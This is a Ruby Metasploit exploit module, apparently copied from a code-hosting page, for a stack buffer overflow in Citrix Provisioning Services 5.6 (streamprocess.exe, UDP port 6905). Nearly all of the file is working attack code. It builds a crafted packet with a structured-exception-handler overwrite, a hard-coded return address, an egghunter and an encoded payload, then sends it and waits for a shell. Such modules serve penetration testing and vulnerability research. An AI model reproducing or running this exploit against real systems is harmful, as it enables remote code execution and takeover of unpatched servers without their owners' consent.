90 lines
2.9 KiB
Ruby
90 lines
2.9 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::Udp
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include Msf::Exploit::Remote::Egghunter
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Citrix Provisioning Services 5.6 streamprocess.exe Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Citrix Provisioning Services 5.6.
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By sending a specially crafted packet to the Provisioning Services server, a fixed
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length buffer on the stack can be overflowed and arbitrary code can be executed.
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},
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'Author' => 'mog',
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'OSVDB', '70597'],
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[ 'ZDI', '11-023' ],
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[ 'URL', 'http://secunia.com/advisories/42954/' ],
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[ 'URL', 'http://support.citrix.com/article/CTX127149' ],
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],
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'DefaultOptions' =>
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{
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# best at delaying/preventing target crashing post-exploit
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'EXITFUNC' => 'process',
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'InitialAutoRunScript' => 'migrate -f',
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},
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'Payload' =>
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{
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'BadChars' => "\x00", # Only "\x00\x00" breaks the overflow, but this is safer
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# pop/pop/ret in streamprocess.exe
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# Service runs and automatically shuts down in Win 7
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[ 'Windows XP SP3 / Windows Server 2003 SP2 / Windows Vista', { 'Ret' => 0x00423d32 } ],
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],
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'Privileged' => true,
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jan 20 2011'))
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register_options([Opt::RPORT(6905)], self.class)
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end
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def exploit
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eggoptions =
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{
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:checksum => true,
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:eggtag => 'W00t',
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}
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hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
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sploit = "\x10\x00\x02\x40" # message type
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sploit << rand_text_alpha_upper(30)
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sploit << "\x00\x01\x00\x00" # length field
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sploit << rand_text_alpha_upper(400)
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sploit << hunter
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sploit << rand_text_alpha_upper(64 - hunter.length)
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sploit << "\xEB\xBE" # Jump back 66 bytes to hunter because there's
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sploit << rand_text_alpha_upper(2) # only 24 bytes of cyclic copy after ret
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sploit << [target.ret].pack('V') # SE handler
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sploit << rand_text_alpha_upper(50) # Need >= 24 bytes to keep the tag out of the stack
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sploit << egg # Payload has a whole page to itself
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print_status("Trying target #{target.name}...")
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connect_udp
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udp_sock.put(sploit)
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print_status("Exploit sent, wait for egghunter.")
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select(nil, nil, nil, 4) # takes about 8 seconds in tests
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handler(udp_sock)
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disconnect_udp
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end
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end
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